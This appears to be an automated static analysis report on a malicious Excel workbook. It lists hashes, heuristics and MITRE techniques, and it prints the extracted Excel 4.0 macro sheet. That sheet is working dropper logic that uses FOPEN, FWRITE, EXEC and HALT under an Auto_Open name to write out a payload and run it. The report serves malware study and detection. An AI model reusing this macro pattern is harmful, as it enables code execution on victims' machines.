Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 17808c30bf5ea96f…

MALICIOUS

Office (OOXML)

205.5 KB Created: 2021-09-13 09:41:09 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-23
MD5: 4d1470798960769a636994370df41225 SHA-1: 605ab9a316db92e7f66d74176312e0ea2842b5dd SHA-256: 17808c30bf5ea96f3cdddb447f5e4a6caf69071bb71305098deb000c7ff31bc2
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_DANGEROUS_FN' heuristics. The macros utilize dangerous functions like FOPEN, FWRITE, FCLOSE, EXEC, and HALT, which are commonly used to download and execute arbitrary code. The 'EXEC' function is particularly concerning as it directly executes a payload, likely obtained via the file I/O functions.

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FOPEN, FWRITE, FCLOSE, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1488 bytes
SHA-256: 67e4bdb376a239bb94029acd9118bc3c93b4b3a4ffb8e74811bd276c15c7ece3
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><dimension ref="A12:B1367"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15"/><sheetData><row r="12" spans="2:2"/><row r="156" spans="1:1"><c r="A156" t="b"><f>FOPEN(GET.NOTE(Macro1!$B$12, 1, 200), 1+2)</f><v>0</v></c></row><row r="256" spans="1:1"><c r="A256" t="b"><f>FOR.CELL("lSwHnDdBjKRVnO",Sheet1!J166:AO991, TRUE)</f><v>0</v></c></row><row r="343" spans="1:1"><c r="A343" t="e"><f>FWRITE(Macro1!A156,CHAR(lSwHnDdBjKRVnO))</f><v>#NAME?</v></c></row><row r="404" spans="1:1"><c r="A404" t="b"><f>NEXT()</f><v>0</v></c></row><row r="496" spans="1:1"><c r="A496" t="b"><f>FCLOSE(Macro1!A156)</f><v>0</v></c></row><row r="969" spans="2:2"/><row r="1214" spans="1:1"><c r="A1214" t="b"><f>SET.VALUE(Macro1!$B$969, GET.NOTE(Macro1!$B$969, 1, 200))</f><v>0</v></c></row><row r="1311" spans="1:1"><c r="A1311" t="b"><f>EXEC(Macro1!$B$969)</f><v>0</v></c></row><row r="1367" spans="1:1"><c r="A1367" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><sheetProtection password="B021" sheet="1" objects="1" scenarios="1"/><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><legacyDrawing r:id="rId1"/></xm:macrosheet>

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